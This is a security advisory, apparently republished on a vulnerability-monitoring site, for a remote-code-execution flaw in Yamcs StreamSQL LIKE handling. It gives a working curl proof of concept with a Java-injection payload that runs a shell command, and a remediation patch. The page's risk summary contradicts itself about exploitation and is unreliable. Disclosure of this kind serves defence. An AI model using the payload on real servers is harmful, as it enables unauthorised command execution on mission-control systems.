Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-c64q-hj4j-375f
Summary
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSqland:streamSql(privilegeControlArchiving)POST /api/archive/{instance}/tables/{table}:readRowsvia thequeryfield (privilegeReadTables)GET /api/archive/{instance}/events?q=and the event export/stream variants (privilegeReadEvents)listActivitiesq(privilegeReadActivities)
The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Details
- Sink:
Expression#getCompiledExpressioncompiles generated source withSimpleCompiler.cook(...)(Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection:
LikeExpression#fillCode_getValueReturn(LikeExpression.java:26) appendslikeClause.patternraw intoUtils.like(<col>, "<pattern>"). The safe siblingValueExpressionescapes literals viaescapeJavaString()(ValueExpression.java:82-85); a review of all 35 streamsql code-generators foundLikeExpressionto be the only unescaped one. - Grammar:
S_STRING = "'" (~["'"])* "'"(StreamSql.jj:222) allows";getNonEscapedString(StreamSql.jj:36) does not escape"or\. - Reachability:
TableApi#executeSql(TableApi.java:399) checks onlyControlArchiving, then passes the raw statement toydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can callRuntime/ProcessBuilder.:streamSql(TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just
executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound?argument (nextArgAsString->likeClause.pattern), so any endpoint building... LIKE ?with attacker input also reaches it:POST .../tables/{table}:readRows(TableApi.java:276, privilege ReadTables): thequeryandcolsrequest fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q=(listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents:body.message like ?with"%"+q+"%". Verified RCE.listActivities(ActivitiesApi.java:86/113), privilege ReadActivities:detail like ?with"%"+q+"%".ReadTables/ReadEvents/ReadActivitiesare routine read-only permissions. The singleescapeJavaStringfix below closes all of these (one sink). The rawreadRowsWHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validatecols, do not accept a free-formqueryatReadTables).
Proof of Concept
Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned # -> uid=...(...)
A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Impact
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Remediation
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");
Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard